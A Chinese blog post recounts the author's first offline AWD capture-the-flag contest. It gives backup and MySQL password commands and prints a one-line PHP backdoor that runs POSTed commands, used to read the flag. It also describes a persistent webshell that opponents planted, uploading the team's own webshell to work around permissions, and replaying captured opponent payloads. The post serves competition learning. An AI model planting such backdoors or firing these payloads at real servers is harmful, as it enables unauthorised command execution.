第一次打线下awd多少还是有点紧张,早早起床就去了安洵公司。下午开始awd。原以为准备的万无一失可惜刚开打就遇到了严重的状况。
第一步当然是备份源码和数据库,可是我操作失误直接在根目录开始备份(cd /),导致备份了整个站,光备份就花了10分钟,就是这十分钟,我们的php都被打烂了。
tar -zcvf /home/ctf/bak.tar.gz /var/www/html(源码) mysqldump -u root -p --databases xxx > /home/ctf/db.sql(数据库)
备份完源码,自然是下载下来扔进d盾里扫自带的漏洞。这时候我才发现我并不知道下载的命令。最后还是装了个FinalShell才把源码下载下来。这时候已经不知道掉了多少分了。
终于放进了d盾,扫出来几个自带的洞。
而第二个直接就是一个shell.php
<?php if($_POST[1]) { system($_POST['1']); }
我们可以直接get一个?1= cat/flag直接出flag。因为之前浪费了太多时间,我们发现的时候这个基本被删的差不多了。
实力至此,找不出别的攻击手段了,最开始准备的脚本没一个能用的。
我主要负责防守部分,全程都在和check和不死马作斗争。
最基本的当然是用改密码和上waf。
linux用户密码修改:password mysql数据库密码修改: set password for root@localhost = password('chinfo'); 或 use mysql; update user set password=password('chinfo') where user='root'; flush privileges;
上waf用 FinalShell 直接拖进 /var/www/html 就行,但确实感觉没啥用,像是个心理安慰。
这里来一个推荐的waf
awd-watchbird https://github.com/leohearts/awd-watchbird/
然后就是把d盾扫出来的那些特别明显的后门删掉。就比如上面的shell.php。
之后可以选择全局搜索system或者eval等危险函数人工审计。
在比赛过程中,PHP被大佬找到了一个文件上传漏洞,直接给所有人传了一个删站md5不死马,也就是这个马,一直让我们被checkdown到比赛结束。
赛后问师傅知道这个马可以用以下命令杀掉
kill -9 -1 && rm webshell.php
在比赛过程中,我作为防守队员,时常需要对文件进行增删查改,这就导致我会经常遇到权限不够的情况,而我又不会提权。这时候给自己的目录传一个webshell,再用蚁剑连它就可以巧妙地解决这个问题。
最后就是流量监控。我们也是用这种方式利用别人打我们的站的payload反打,这个比用自带的后门捡漏要来的有效得多。
本文作者:Ch1nfo
本文链接:
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!